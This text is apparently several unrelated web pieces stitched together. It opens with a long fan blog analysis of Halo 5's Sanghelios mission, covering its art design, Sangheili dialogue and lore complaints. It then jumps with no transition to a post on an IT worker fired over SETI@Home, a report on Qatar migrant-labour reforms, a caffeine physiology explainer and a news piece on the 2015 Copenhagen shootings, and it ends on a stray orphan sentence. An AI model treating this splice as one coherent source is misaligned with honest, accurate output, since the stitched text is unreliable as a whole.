I was thinking about this before the game even came out because of a little game you may remember called KOTOR 2, which remains absolutely incredible even in-spite of all the unfortunate cuts that happened in its development cycle. In that game, the writers purposefully had each setting portrayed in such a way to convey the main theme of the game which is that the galaxy is wounded in some way – that it’s wrong, it’s broken. That feeds into everything from the environments, to the situations people find themselves in, to the characters and their arcs – the likes of Atris, Kreia, Hanharr, Bao-Dur, and many others should come to mind for those of you familiar with the game.
So I went into Halo 5 with a question in my head as to how exactly 343 would go about portraying the setting itself, considering the state the Halo universe is in after all these devastating wars and conflicts that have been going on. And it actually seems to be something 343 had in mind when they were crafting these worlds you visit. As I said in the last post:
Kamchatka is an icy wasteland of a world which was meant to be a node to the Domain – a world which you might consider to have been ‘broken’ in the millennia the Domain has been out of commission. Its harsh environment is matched by the piercing blue lights and empty grey corridors of the Forerunner structures that inhabit it. Even the art book refers to it as “an unsettled world, too harsh for most life […] of little interest to any but the most intrepid adventurers”.
Then we have Argent Moon, another broken location. The bio-weapon being tested there ended up killing everybody aboard, the ship’s AI going rampant and terminating itself. Likewise with the environmental design, lots of very tight corridors and dark spaces showcasing this derelict vessel devoid of life.
And then there’s Meridian, do I even need to explain this one? It’s a glassed world and the stories we find in the various missions in that arc explore that. Here’s a quote from Kory Lynn Hubbell from the art book:
“If there’s no plausible story behind something, it shouldn’t be there. For example […] we wanted a fountain. Through multiple discussions, we decided that maybe a fountain isn’t the best fit for a mining town. So we have a tree instead. You have this very bleak landscape with all these industrial buildings around, but then there’s this fake tree in the middle of it. It’s almost comedic, but it’s also logical – if you’re forced to live in a barren landscape but have the technology to simulate nature, it’s logical to do so.”
Bleak and barren glasslands with very temporary industrial prefabricated buildings that people are living in while they work to restore this world, it reminded me a lot of Telos from KOTOR 2 actually and the whole sub-plot that revolves around the Ithorians and Czerka Corporation regarding the restoration efforts of the planet.
Next we have Genesis, a Builder world constructed, similar to Kamchatka, to serve as a node to the Domain. It’s a world designed around very fractal formations, buildings and plants fragmented into different weird shapes of geometry and, according to Darren Bacon in the art book, was designed specifically to be a contrast to Sanghelios. Which neatly brings me to Sanghelios itself…
If you have the art book, I encourage you to stop reading at this point and take another flick through. And if you don’t have the art book, I recommend you invest in it because while it provides a much more limited insight into the creative process than Halo 4’s art book did, it’s still got incredible pieces in it and some great snippets of commentary.
The level of thought and detail that went into designing Sanghelios is astounding. Darren Bacon brings up the process that Glenn Israel did in designing the environments by asking himself what the hands of Sangheili look like, how they would write, and how that would ultimately inform the look of their architecture which is very rounded, very circular, lots of aesthetically pleasing curves which calls to mind this mixture of Indian, Islamic, and Mongolian architectural designs with a science fiction layer on top of that.
The circular patterns of their structures call to mind water ripples overlapping each other as they expand outwards. And there’s this seamless fit of the natural environment with the architecture as well which has very much been a part of the lore going back at least as far as learning about ‘Vadam Keep in The Cole Protocol.
It’s really some incredible design, matched very much by their use of colour for these environments which has these hues of red, beige, ivory, blue, green, and orange – later purple as well at Sunaion. In terms of colour symbolism, which I talked a lot about in my analysis of Midnight for Halo 4, for artists these represent a lot of the things that are thematically up in the air in the Sanghelios arc. I often fear when games are going to use a desert environment that it’s just going to look unimaginatively bland, that it’s just ‘a desert environment’ that has been put there to be a desert environment rather than something that thought has gone into.
You don’t have to take two seconds in these missions to see that this isn’t the case here.
It’s such a contrast to the rest of the locations in the game. Where they are all harsh, uninhabitable, destroyed, or alien environments, Sanghelios looks and feels warm and inviting.
I mentioned in the last post that Sanghelios very much gets the ‘Earth treatment’ in this game, which is to say that in a lot of sci-fi, Earth is treated like it’s the centre of the universe and everything important ultimately revolves around protecting Earth at all costs while other major worlds that are either as important or more important in-universe are shafted (*resentfully side-eyes Mass Effect 3’s ‘TAKE BACK EARTH ad slogan*).
It’s ridiculously refreshing to see an alien world get that treatment, and at the start of the credits 343’s message says “we’ll see you on Sanghelios”, so we can infer that this world we’ve taken part in liberating from one of the main enemy factions is going to be a major setting for Halo 6. I really should talk about the actual level at this point, right?
One thing I like about this mission is that there’s actually a proper kind of motion to it in terms of the Sangheili and Unggoy characters moving around and talking each other – it appears that Thel has employed Unggoy not as cannon fodder, but as runners in his camp for status reports and updates.
However, with that also comes a sense of annoyance that the likes of Thel and Palmer are entirely static in terms of their location and they don’t have any pathing to have them interact with the common troops around the place or Halsey – this would have been a great opportunity for them to have actual dialogue together but they don’t. And, again, the lack of female Sangheili here when we’re supposed to be seeing them in combat roles is detrimental, especially when (as I said in the last post) you would not have to design specially unique models for them.
Not to mention that you can’t actually talk to these three major characters outside of the mission objectives, which could have easily remedied Thel not talking about John in the cutscenes by giving you the option to hear about that history from Thel’s perspective here.
Another criticism of these weapons-down levels is that there is nothing really to do beyond listen to dialogue, which I definitely agree with. I’ll talk more about those particular criticisms when we return to this space in Before the Storm. One of the most interesting series of dialogues is between the Sangheili medics and their patients. Anyone even remotely familiar with Sangheili lore knows that medics and doctors are despised, looked down upon as bringers of dishonour because they spill blood (regarded as the very essence of a Sangheili’s honour) outside of battle.
In one interaction, a patient says he would rather die than receive aid.
Wounded Sangheili: “I would rather take my own life than let you touch me!”
Sangheili Medic: “That life is not yours to take. You belong to the Arbiter, and he believes you are worth repairing.”
Wounded Sangheili: “I refuse to be shamed by a… medic.”
Sangheili Medic: “Then die, coward! Fail the Arbiter and have the shame of your dereliction follow your clan for generations.”
The medic doesn’t actually let him die, but you really get a sense of just how foolish this belief that medics bring dishonour is, which is compounded on by the next interaction between two medics.
Sangheili Medic 1: “‘Mdama Keep… their plasma blades burn less intensely, harder to cut armour but the injuries are more grievous and do not cauterise.”
Sangheili Medic 2: “So the blades leave Sangheili alive, but too wounded to fight?”
Sangheili Medic 1: “Most choose suicide to preserve their honour.”
Sangheili Medic 2: “Making any wound a death blow… Barbaric!”
This is an interesting tidbit of lore that speaks to the desperation of the Covenant, that if they are not able to outright kill then they will create weapons that will exploit the ‘Sangheili mindset’ about honour so they will take their own lives if they get injured.
That’s… really quite dark, and it exemplifies how self-aware Thel has become regarding some of the toxic beliefs of his culture. Lives that can be saved should not be wasted because they think they will be dishonoured, it’s something which is also discussed in one of the mission intel logs from Cham ‘Lokeema:
“‘To spill blood outside of battle is a great dishonour’. Words burned into all Sangheili since they were young, and to me. And for a time, I believed. I watched my brothers die around me and never dared give aid. ‘Stitching a wound closed brings dishonour, setting a broken bone brings dishonour.’ Words of the ignorant who never saw undetonated Needler rounds pulsing beneath a brother’s skin. If shame is the price of compassion, so be it.”
It’s great to see this evolution in the cultural mindset of the Sangheili, these dialogues do a lot to flesh out the Sangheili as a species of differing beliefs rather than a hivemind conglomerate who are all bound by tradition and never question things which is the impression I think some people get when not an awful lot of Sangheili-oriented fiction has offered much in the way of deconstructing their culture and perspectives. Another intel log comes from Kholat ‘Khebrem, a Sangheili linguist with some very specific goals for what he wants to do following the end of the Covenant.
“Anthropological linguistics log, Kholat ‘Khebrem speaking. Our history is lost in a haze of lies and myth. As the Covenant ends, I wish to relearn what we’ve lost. But the eroded and half-ruined glyphs in this place are maddening. Fragments of words dance before me. Here, ‘prophecy’, and here ‘reunite’ or ‘restore’. Then a warning, something about ‘responsibility’ and ‘a great drowning’. I could study here for years.”
I like this idea that the history of the pre-Covenant Sangheili is just as much of a mystery to them as it is to us, we are effectively making these discoveries and interpretations alongside them rather than having it told to us like fact file knowledge. In ambient dialogue, Vale says:
“This architecture… this history, it’s irreplacable. And the Covenant are willing to sacrifice it to their ambitions.”
For a player such as myself who wants to spend hours thinking and talking about this sort of lore, this only provides extra incentive to kick the Covenant off Sanghelios for good.
Regarding ‘Khebrem’s log though, a number of elements in this dialogue should ring some bells in the heads of lore fans, little things we might be able to draw together.
We can obviously infer ‘responsibility’ to refer to the Mantle of Responsibility, that much is obvious – you can’t walk over the threshold of a Forerunner entryway without being reminded of the Mantle. So that we can very much take as a given.
What interests me is this mention of prophecy because in the Forerunner era there wasn’t really any sort of superstitious belief in such a thing. There was, however, one very literal prophecy which came from the Timeless One when the IsoDidact murdered it at the end of Primordium.
“The decision is final. Humans will replace you. Humans will be tested next. […] It is the way of those who seek out the truth of the Mantle. Humans will rise again in arrogance and defiance. The Flood will return when they are ripe – and bring them unity. […] Misery is sweetness. Forerunners will fail as you have failed before. Humans will rise. Whether they will also fail has not yet been decided. […] We are the Flood. There is no difference. Until all space and time are rolled up and life is crushed in the folds… no end to war, grief, or pain. In a hundred and one thousand [years]… unity again, and wisdom. Until then – sweetness.”
And the mention of a ‘great drowning’ calls to my mind my old Ragnarok theory, but if I’m going to be honest with you I have largely given up on theorycrafting for Halo in the wake of so many major plot points being thrown out the window. I no longer feel that connecting the dots is a worthwhile pursuit because the writers can and have just decided to drop all the stuff they’d previously been building up so they can introduce something new that had next to no real precedent for introduction. That is the sad reality of where I’m at with the franchise… Anyway, another great bit of dialogue comes from Thel as one of his officers raises concern about humans activating the Guardian, even though he no longer follows “the old ways”, the provocation of such an act is clear. To which Thel responds:
Thel: “That discomfort you feel, that betrayal… I am depending on it.”
Sangheili Officer: “Sir?”
Thel: “The Covenant soldiers will hear the Guardian wake from its slumber, they will look up over the bodies of their brothers, through the smoke of their burning city, they will look to the horizon as their holy idol rises from the sea and forsakes them. And that is when the Covenant dies.”
Great dialogue, and great delivery from Keith David.
Thel isn’t just gunning for a tactical victory, but a symbolic one as well – when everything the Covenant believes comes crashing down upon them. For the Guardian to forsake them in their final hours will not just defeat them, but will utterly discredit them.
Such symbolism is likewise considered in quartermaster Lhero ‘Merok’s intel log.
“We camp below the titans of old, the stone warriors meant to guard Sunaion against us, I suppose. Or are we retaking Sunaion from the occupying Covenant, with the titans at our backs? And when the great Guardian awakes, will it save us, or forsake us? My head swims. I long for problems that can be solved with a plasma grenade.”
And deeply affects Rhu ‘Vrath.
“When I joined the Swords of Sanghelios, I remained loyal to Jul ‘Mdama. Today, I had my chance to kill the heretic, the false Arbiter. He was readying his armour. My hand fell to my weapon, then I saw the mark branded on his chest. He bears the mark, yet at that moment, I felt shame. His eyes caught mine and I looked away. It is strange. Perhaps there is more to him than I thought.”
This is especially interesting because we know that the Covenant has been seeding spies in the ranks of the Swords, all of whom have been unsuccessful, but Rhu ends up having a change of heart the moment the opportunity to kill Thel presents itself upon seeing the Mark of Shame.
And then Thel looks at him, Thel, who is an intelligent person and would surely pick up on this Sangheili’s body language, and says nothing. Does nothing. He silently gives Rhu a second chance without broadcasting it, which is Thel in a nutshell – the same Sangheili who offered Tartarus, the one who tortured him and gave him the Mark of Shame in the first place, a chance to join him when Thel realises that the Sangheili and Jiralhanae have been subject to the lies of the San’Shyuum. Speaking of which, another log from Thon ‘Kemtra offers a great deal of admiration towards Thel’s actions.
“We set camp within sight of Sunaion. Audacious, but brilliant. We Swords of Sanghelios are united under no less a warrior than the Arbiter himself. He who exposed the countless lies of the San’Shyuum, and drove back the Covenant. The Arbiter shapes our future with deference to our past. ‘Let us never forget those who have journeyed into the howling dark and did not return,’ he once said. Have you ever heard such wisdom?”
I love this, that Thel would have echoed those words famously spoken by Lord Hood during the memorial service at the end of Halo 3. It speaks a lot to the overlap between Sangheili and human culture, which Buck and Vale talk about in ambient dialogue.
Buck: “I thought Sanghelios would be… different.”
Vale: “You’d be surprised how much we have in-common with the Sangheili. For instance, they place huge importance on family and honour. What could be more human than that?”
Again, we have this central theme of family coming up. This occurs in another ambient conversation between Buck and Locke.
Buck: After all Halsey did to the Master Chief and Blue Team – and when they were kids no less – after all that, she still acts like she cares about them.
Locke: Psych eval says that Halsey thinks of the Chief as her son. She has a motherly attitude towards all of her Spartans.
Buck: I’m glad I haven’t read that psych report. Not sure I’d ever feel clean again.
Halsey thinks of John as her son and she wants to see him again. Y’know, with this, I just can’t help it… my mind turns to Jul ‘Mdama.
With the Covenant’s end as one of the big game-changers in this game (regardless of it since being undone), you’ve got to make that interesting in a way that isn’t just some battle. Jul is unique because he reformed the Covenant to achieve his own ends, not because he’s a believer – he’s not, he’s introduced to us in Glasslands as an atheist. He was out for revenge for his wife and sought out the Didact to accomplish this, manipulating his way into raising up a new Covenant.
Having his arc culminate in a deconstruction of the whole revenge plot (which Halo has plenty of) would be so much more interesting than just unceremoniously offing him to show off Locke’s combat skill.
Having Jul come to realise that he was wrong – wrong about Thel, wrong about humanity, wrong about thinking these two species can’t co-exist together – and then go on to find his son who has himself sworn vengeance against humanity, mirroring Raia ‘Mdama in her search for Jul in The Thursday War to bring him home, you end up with a far more thematically satisfying conclusion which can effectively write him out of the plot without needlessly killing him.
This idea of characters going out on these journeys to find someone and bring them home is a clear theme – John pursuing Cortana to bring her home, Osiris pursuing John to bring him ‘home’ to the UNSC (which Locke says to Thel in the Master Chief Collection bookend cutscene – “I’m going to bring him home”)… The ‘Mdama family was the progenitor of that theme in the Reclaimer Saga and it’s like the writers didn’t even recognise or understand that.
And you wouldn’t even need to devote much in the way of resources to tell this story either, which I’ve been constantly mindful of in suggesting these additions to the game to help flesh out its story and characters. It could be done in the mission intel logs and in dialogue in Thel’s camp during the Sanghelios arc. A couple of voice files and Jul’s model (which he has, he has an in-game model as evidenced from the Osiris ending cutscene) put next to Halsey in one or two missions, that’s all it would take to give him an ending befitting of what had been built around his character.
The end result is the same – if you don’t want to use him, then you’ve given him an avenue out of the main series of events and you can leave his fate ambiguous, or return to it in a book or something somewhere down the line to provide closure with a more personal story. Either way, Jul going out to find his son Dural would be symbolically indicative of Jul breaking the cycle of violence, of revenge, that led to him reforming the Covenant. While I’m in this particular critical mindset, I’ve got to bring up something else as well…
The Unggoy named Dimkee Hotay who sits and chats to his Sangheili friend was a wonderful wonderful addition, I loved his dialogue and very meta commentary, with one exception.
That exception is the jab at the fanbase who reacted negatively towards the fate of the Ur-Didact in The Next 72 Hours.
“I knew the Didact, he said like three words. Three! He said ‘I can’t be Composed’.”
Sigh… now, I know this is a joke, but with the Didact not being in this game and being mentioned in the story a grand total of two times, this is reopening an old wound for me.
For context, from July to September in 2014 we had the arc in Escalation known as The Next 72 Hours which took place in the immediate aftermath of Halo 4 where John reunites with Lord Hood and Blue Team after arriving back at Earth. This arc has been pretty universally criticised by the fanbase and it suffers a lot of the same problems Halo 5 does, but one of the most egregious issues was the ending where the Ur-Didact is Composed.
Of course, this was something that had to be clarified by Brian Reed (the writer of the arc) and the Waypoint universe entry for the Didact because the comic made it look like the Didact had just outright died. We all brought up the line from Halo 4’s Terminals following the Didact’s failed mutation:
Ur-Didact: “The procedure is a failure, I am still susceptible to Flood infection.”
Warrior-Servant: “That leaves only the Composer…”
Ur-Didact: “It will not work on my new form.”
Reed then specified on Twitter that he wrote that line himself when he, Chris Schlerf, and Morgan Lockhart were co-writing the Terminals together. And then he said:
“I think it’s funny how a few folks have suggested we’d bring Didact back in the comics just to kill him off 2 issues later.”
I wish I’d screenshotted the Tweet because since Reed took his account down the link obviously no longer works, but that is what he said.
Y’know, Mr Reed, I think it’s funny that you did this to Black Team and Jul ‘Mdama without batting an eyelash (I don’t, as I’ve articulated this was just dumb). I mean, when you look at this image, as the segment of Installation 03 he’s on is dropped down to a planet and is burning up on re-entry, when it has been written that the Composer will not work on him, what conclusion exactly do you think we’re going to come to?
Mr Reed further assured us that “there is a plan” for him, but amidst all the other lies we’ve seen with Halo 5 I have absolutely no reason to believe that this was the truth. They did to the Didact what they did to the Janus Key and Absolute Record, just had him zapped out of the setting so they can clear the stage of everything they’d built up over a period of about half a decade to make way for this Created storyline. You’ll forgive me, I hope, for not taking you at your word when there’s been an awful lot of lying about the fundamental premise of your story.
So this line of Dimkee Hotay’s did not make me laugh, did not make me think “oh yeah, back when we knew so little!” in the wake of the Didact having more involvement in the Reclaimer Saga. No, this was simply analogous to opening up an old wound to rub in some more salt because they have done literally nothing with the Didact’s character since The Next 72 Hours.
I ardently refuse to let this go, this is in 2016 what it was in 2014: Fucking bullshit. I had to take a little break after that because I wasn’t in a mood where I wanted to offer any complimentary analysis after something which hit so close to home regarding one of my favourite characters in the franchise…
Let’s talk about something good so I can get back into the mindset.
The two Sangheili pictured above with the damaged Banshee – you can talk to them, and if you’re playing co-op then dialogue changes depending on which member of Osiris does so. If you’re Locke, he offers a suggestion as to what might be wrong with the vehicle to which the Sangheili will respond “that is not the problem, human”.
However, if you’re playing as Tanaka then she identifies the actual problem with the Banshee and the Sangheili is impressed, saying he likes this human.
Nice little touch there for reinforcing these particular character traits, as Tanaka is the engineer of the team.
Near to these Sangheili is an intel log from Halsey:
“Catherine Halsey, status update. I’m playing along with your protocol here, Thel. If the Four’s bring me an active Constructor, I can interface with the Guardian. It will receive Cortana’s signal the moment it activates and initiates slipspace, but I think I can make sure it leaves the sea before it jumps. I’ll get it in the skies over Sunaion, like you asked. In return, send me some assistants with brains in their heads. And loosen this damn security! I’m not going anywhere.”
Some people have expressed puzzlement about Halsey’s attitude here and her perceived unease around the Sangheili, to which I would point to the fact that she’s spent the better part of a year with Jul ‘Mdama and his Covenant soldiers where the only thing preventing her from being killed was Jul’s word.
It’s an interesting statement of the kind of damage living in that circumstance would do, and on top of that I think Halsey and Thel are two characters who would very naturally clash with each other – which we’ll explore more in Before The Storm. Saving the best two logs for last, Vari ‘Damat’s “notice me senpai” attitude towards Thel, and Vel ‘Trokaik’s love poem…
Vari ‘Damat: “I’m stationed so close to the Arbiter, and… gods, I have never felt so nervous. I set about polishing my armour straight away, but then thought the Arbiter might frown on such vanity. In battle, should I fly my Banshee to the front and show my skill, or would he see that as recklessness? I’m petrified. I would recuse myself from battle, but that would definitely disappoint him, would it not?”
Vel ‘Trokaik: “Erase previous recording, begin new recording…
I saw you standing at your ship,
with armoured hand on armoured hip,
both my hearts began to pound,
so lovely was what I found,
I love your brightly shining armour,
human named Commander Palmer,
I wish that we–
What are you doing here, Grunt? What are you laughing at? I will tear off your arms!“
I was cackling with laughter when I first heard these, they’re brilliant.
Vel’s poem also raises an interesting question about things going forward regarding interspecies relationships, which is something that hasn’t really been explored as a thing yet. With Hunters in the Dark, a lot of people shipped Usze ‘Taham and Olympia Vale for the very close bond they form over the events in that book, and we’ve seen other friendships form with the likes of ‘Henry’ and Rimmer in The Mona Lisa – Henry is so wonderfully described as patting Rimmer whenever he’s talking about him to the other humans.
I think that as the landscape of the setting changes, this might be an interesting avenue to explore. Of course, I fully expect a number of cack-headed fools to say “BUT HOW WILL THEY HAVE SEX?” as if sex is some inherent requirement of a relationship… but that’s another conversation for another day. Meeting with Halsey, she tells Osiris that the key to interfacing with the Guardian and giving it the coordinates from the Meridian Guardian (even though, ultimately, all the Guardians are going to Genesis anyway). We’ve not actually seen Constructors in a game since Halo 3 where they made minor appearances on a couple of multiplayer maps (like Construct), so it’s nice to see them return.
Speaking of things from previous games returning, in ambient dialogue Vale asks Buck about his relationship with Veronica:
Vale: “I meant to ask, Buck: Did you get any word to Veronica before we left?”
Buck: “Yeah, but she’s working so I don’t expect she’ll hear my call for a few weeks.”
Vale: “How does that work? Veronica and ONI, you’re both always at opposite ends of the galaxy…”
Buck: “Works fine, times we’re both in the same place make up for the times we’re not.”
I find this to be an interesting little insight into both of these characters. Vale knows about Buck’s relationship and personal life, as well as Veronica and the fact she works with ONI – so there’s a sense of familiarity there between these members of the team.
And, if you’ve read New Blood, you’ll have a pretty good idea of how Buck and Dare make up for their lost time when they’re in the same place… Another humorous little moment comes from the singing Unggoy sat atop the camp’s overlook.
Unggoy: *singing* Where sun and moon and planets roll, and stars that glow from pole to pole.
Locke: Interesting song.
Unggoy: Thanks! Human prisoner used to sing. I thought maybe practice, sing with him. But then he was in corpse pile… So, no singing with him. Happy to sing to you though!”
What starts out nice and innocent and cute turns into a very macabre bit of black humour, which is brilliant. A lot of people wanted a return to the humour the Unggoy brought to the series in all the games other than Reach and Halo 4 where they didn’t speak English, this was a criticism that was listened to and the end result is very telling in how the writers were having fun with these little bits of dialogue.
I very much hope this stays, that ‘Unggoy humour’ is a quirk in Halo’s writing that makes it stick out a little bit more, I think. And it’s endearing.
With that, I think it’s time to wrap this up…
On the whole, this is a mission where you’re going to get out of it what you put into it. I’ve watched playthroughs where people have just gone from objective A to objective B without paying any mind to all this rich dialogue and then complain that the mission was really short. I don’t personally hold that as a fault of the weapons-down missions, these hub areas are supposed to be for exploration and giving the writing much-needed time to breathe. But there are definitely improvements that should be made if 343 intends to keep these missions as part of the formula which we’ll discuss in due course.
from the not-quite dept
SETI@Home, one of the earlier and (still) largest distributed computing projects was launched more than 10 years ago , and it's still pretty common for lots of folks (geeks and non-geeks alike) to run the screensavers and work through the mounds of SETI data. That's why it's a bit surprising to find a News.com writeup by Chris Matyszczyk, about a guy fired for running the software written up as if SETI@Home were some sort of wacky new project by UFO enthusiasts. Basically, it sounds like the guy installed the SETI@Home software on a bunch of computers at the school, and that upset school officials. This isn't the first time we've seen this sort of thing. Five years ago, we wrote about a similar firing of an employee by the state of Ohio.Still, if you look at the details of this particular firing the situation seems a lot different than the News.com report suggests (or than even the article from AZCentral suggests). There's actually a criminal investigation going on, but the bigger issue (even though it's downplayed in the article) is the fact that the school district claims the guy stole 18 computers from the district and had them in his home (turned up by a warrant). That seems a lot more understandable as an offense leading to termination. Separately, it appears he did not complete his job duties -- such as installing firewall software that never showed up (oddly, the article never actually defines the guy's job title, but it sounds like some sort of IT job). The whole SETI@Home stuff just seems exaggerated. This includes the claim, made in the article, that the guy's actions cost the school district between $1.2 million and $1.6 million. While some of this may be tied to the missing computers, the article implies that much of it is from running SETI@Home, which the school claims was a burden on the computer systems. While he probably shouldn't have been running the software on those machines without permission, that alone is hardly that big of a deal. It seems like most people at the school district and the writers of the articles linked above don't understand how SETI@Home works, which seems to create an awful lot of confusion.
The major report commissioned by Qatar into its treatment of migrant workers produced more than 60 suggested reforms – and one telling confirmation: that hundreds of migrants have died, many of them from unexplained sudden illness, over the past two years, at a rate of more than one a day.
The report by the international law firm DLA Piper calls for changes to the much-criticised kafala system that ties workers to their employers. It also contains the Qatari government's own figure on the numbers of migrants who have died on its soil: 964 from Nepal, India and Bangladesh in 2012 and 2013. In all, 246 died from "sudden cardiac death" in 2012, the report said, 35 died in falls and 28 committed suicide. The number of deaths resulting from work-related injuries was low.
But the real purpose of the 135-page report, commissioned in the wake of Guardian revelations about appalling working conditions in Qatar, was to make recommendations for reform. The document was welcomed by human rights campaigners as a major step forward, particularly given early fears that DLA Piper's independence could be compromised by its work for Qatar-owned news network al-Jazeera.
But they also warned that its recommendations must be followed by action to a clear timetable and were disheartened that little reference was made to the report in Wednesday's announcement.
"The verdict from DLA Piper is clear. The sponsorship system is not fit for purpose and the exit permit isn't justifiable," said James Lynch of Amnesty International. "Rather than rejigging and renaming the system, the government should commit now to genuine deep-rooted reform, and a wider programme of measures tackling access to justice, health and holding private sector accountable for abuses against migrant workers."
The report made 62 recommendations across nine key areas:
Recruitment
The report recommends Qatar strengthens and enforces laws preventing recruitment agencies from charging fees. It urges the authorities to go further and prohibit employers from dealing with any foreign recruitment agencies in countries of origin that charge fees. This would attempt to deal with the middlemen that charge large fees and overpromise to impoverished workers, leaving them in debt from the off.
It also calls for a streamlined system of redress for mistreated workers, improved awareness of methods of reporting ill treatment, a review of the licensing of recruitment agencies and for unethical agencies to be blacklisted.
Kafala sponsorship system
At the crux of the debate over how Qatar and its Gulf neighbours treat migrant workers, human rights groups have long called for the kafala system that ties workers to their employers to be abolished. Those calls have met resistance from those who claim it is culturally embedded.
The DLA Piper report calls for a "wide ranging and comprehensive review" of kafala with a view to abolishing or phasing out "certain aspects" of the system and prioritising freedom of movement and the rights of workers.
It recommends that the controversial exit visa system be radically reformed to allow migrant workers to leave the country as of right, unless there is "compelling evidence" to the contrary. Over time, it should be abolished altogether.
Existing laws forbidding the employers from confiscating passports, currently widely ignored, should be much better enforced with offending firms blacklisted.
Contracts
Worker welfare standards, such as those introduced in February by the Qatar 2022 football World Cup organisers, should be made mandatory in all contracts issued by public authorities – a move that would immediately raise the bar on many of the large infrastructure projects.
Crucially, the report recommends that lead contractors should be made responsible for compliance throughout their web of sub-contractors, where mistreatment is rife. It also calls for better monitoring of worker's contracts and translation of those contracts into their home language. Like many of DLA Piper's recommendations, enforcement will come down to will and resource.
Wages
The report calls for consideration to be given to introducing a minimum wage and for employers who fail to pay wages on time to be disqualified from being a sponsor. Qatar recently announced a new system for the automatic payment of wages electronically, another recommendation in the report.
Health and safety
DLA Piper recommends urgent action to demonstrate the importance placed on health and safety by the Qatari authorities amid its dash to build a new nation.
It calls for contractors that breach standards to be blacklisted and for the introduction of stronger criminal sanctions, as well as joint liability for contractors (often major western firms) and their sub-contractors.
In addition to practical measures such as the introduction of electronic ID cards and health and safety education, it recommends a series of steps to establish how many workers die on construction sites.
DLA Piper "strongly recommends" the regular collection and reporting of statistics regarding work related injuries and deaths, to be published anonymously every six months.
In light of the apparently unusually high levels of heart attacks, it calls for an independent study into sudden cardiac arrests over the next three years and for there to be proper investigation into unexpected or sudden deaths.
Accommodation
Recommendations include a mandatory induction for new employees, a worker welfare officer on every site, better monitoring and inspection and better complaints procedures.
Inspections
Qatar has claimed that the number and frequency of inspections has increased but DLA Piper says more needs to be done so that the labour inspections department can perform its task with "sufficient coverage and rigour". It wants better training for inspectors, more powers, more interpreters for worker interviews and more transparency.
Freedom of association
As an "interim measure", the law firm says recently announced standards on worker welfare for the Qatar 2022 supreme committee should apply to all public contracts. It calls for greater transparency and says the ministry of labour should "publish proposals allowing migrant workers the right to freedom of association and representation". Where Qatar sees grounds for limiting those rights, it should say why.
Access to justice
DLA Piper recommends the abolition of fees for complainants, better access to online and physical resources from the labour ministry, interim payments and a fast-track procedure for certain categories of complaint.
Caffeine--the drug that gives coffee and cola its kick--has a number of physiological effects. At the cellular level, caffeine blocks the action of a chemical called phosphodiesterase (PDE). Inside cells, PDE normally breaks down the second chemical messenger cyclic adenosine monophosphate (cAMP). Many hormones and neurotransmitters cannot cross the cell membrane, and so they exert their actions indirectly via such second messengers; when they bind to a receptor on the surface of a cell, it initiates a chemical chain reaction called an enzyme cascade that results in the formation of second messenger chemicals.
Historically, cAMP was the first second messenger ever described. Now, however, scientists have identified several major classes of second messengers, which are generally formed in similar ways through a set of molecules called G proteins. The advantage of such a complex system is that an extracellular signal can be greatly amplified in the process, and so have a massive intracellular effect.
Thus, when caffeine stops the breakdown of cAMP, its effects are prolonged, and the response throughout the body is effectively amplified. In the heart, this response prompts norepinephrine--also called noradrenalin--and a related neurotransmitter, epinephrine, to increase the rate and force of the muscle's contractions. Although the two act in concert, norepinephrine is released by sympathetic nerves near the pacemaker tissue of the heart, whereas epinephrine is released primarily by the adrenal glands. These chemical messages lead to "fight or flight" behavior. During stressful or emergency conditions, they raise the rate and force of the heart, thereby increasing the blood pressure and delivering more oxygen to the brain and other tissues.
Singing John Lennon’s Imagine, defiant Danes promised to uphold their trademark open society and showed solidarity with the country’s Muslim minority after reports the gunman was a Dane with Palestinian roots and a passion for Islamist issues.
The 22-year-old gunman opened fire on a cafe in hosting a free speech debate on Saturday, killing one, and attacked a synagogue, killing a guard. He was later killed in a shootout with police in his neighborhood of Norrebro, a largely immigrant part of the city with a reputation for gang violence.
Police, which have not publicly the identified the gunman, arrested two people on suspicion of aiding the attacks but said there was no indication the shooter was part of a cell or had traveled to Syria or Iraq.
“We have now experienced the fear that terrorism seeks to spread,” Prime Minister Helle Thorning-Schmidt told reporters. “The Danish democracy is strong, the Danish nation is strong, and we will not accept any attempt to threaten or intimidate our liberties and our rights.”
Jewish leaders also called for calm and tolerance as some Muslims feared a backlash.
“We fight together with them (Muslims) for religious rights. We are moderates. We fight together against extremism and radicalism,” Dan Rosenberg Asmussen, chairman of the Danish Jewish Community, told a press conference.
Thousands of Danes left flowers at the synagogue, walking in a quiet, solemn procession, with many also leaving both Danish and Israeli flags. A march by PEGIDA, the anti-Islam movement born in Germany, however, attracted only around 50 people.
Saturday’s cafe event was attended by Swedish artist Lars Vilks, who has received death threats for drawings of the Prophet Mohammad, and by French ambassador Francois Zimeray, who likened the attacks to the Charlie Hebdo attacks in Paris. Vilks and Zimeray were both unharmed.
The killings shocked Danes who pride themselves on a welcoming and safe society, and fed into a national debate about the role of immigrants, especially Muslims. The populist Danish People’s Party, which campaigned against the building of a mosque here, has strong support in the polls.
Denmark became a target of Islamists 10 years ago after the publication of cartoons lampooning the Prophet Mohammad, images that led to sometimes violent protests in the Muslim world.
People hold candles during a memorial service held for those killed on Saturday by a 22-year-old gunman, in Copenhagen February 16, 2015. REUTERS/Hannibal Hanschke
FIGHTER, GOOD STUDENT
The gunman, named by Danish media as Omar Abdel Hamid El-Hussein, was well known to police for violence, weapons violations and his membership in a gang. Reuters could not confirm his identity and police declined to comment.
Police records show a man named El-Hussein was convicted of stabbing a man in the leg on a Copenhagen train in 2013 and Danish media said he was released from prison in January.
“He was ‘normal’ religious, nothing unusual, he didn’t go to mosque any more than the average Muslim,” El-Hussein’s father told TV2.
He was an avid kick boxer in his younger years and was often known by the nickname “Captain Hussein” but members of his club said he has not been there for years.
“He was a good student,” Peter Zinckernagel, El-Hussein’s principal at the VUC Hvidovre school near Copenhagen told Reuters. El-Hussein attended the school until the end of 2013, when he was arrested for the train stabbing.
National news broadcaster TV2 said El-Hussein’s parents were Palestinian refugees who came to Denmark after living in a Jordanian refugee camp for several years.
TV2 obtained a psychiatric assessment of El-Hussein conducted in connection with the assault case for which he was imprisoned in which he told psychologists he had a happy childhood and good relations with his parents and a younger brother. However, he did not graduate from school, was unable to get into a university and later was homeless.
Slideshow (8 Images)
Citing two unnamed friends, Politiken daily newspaper said the man was passionate in discussions about the Israeli-Palestinian conflict and had a short fuse. They expressed shock that he should launch such attacks, however.
Norrebro, where the gunman lived, mixes housing estates and seedy bars with bicycle paths and gardens. However, as house prices in Copenhagen risen, many young professionals have also made the area their home and it now hosts trendy music venues and at least one Michelin-starred restaurant.
But blowout upsets? Those are a bit more rare.
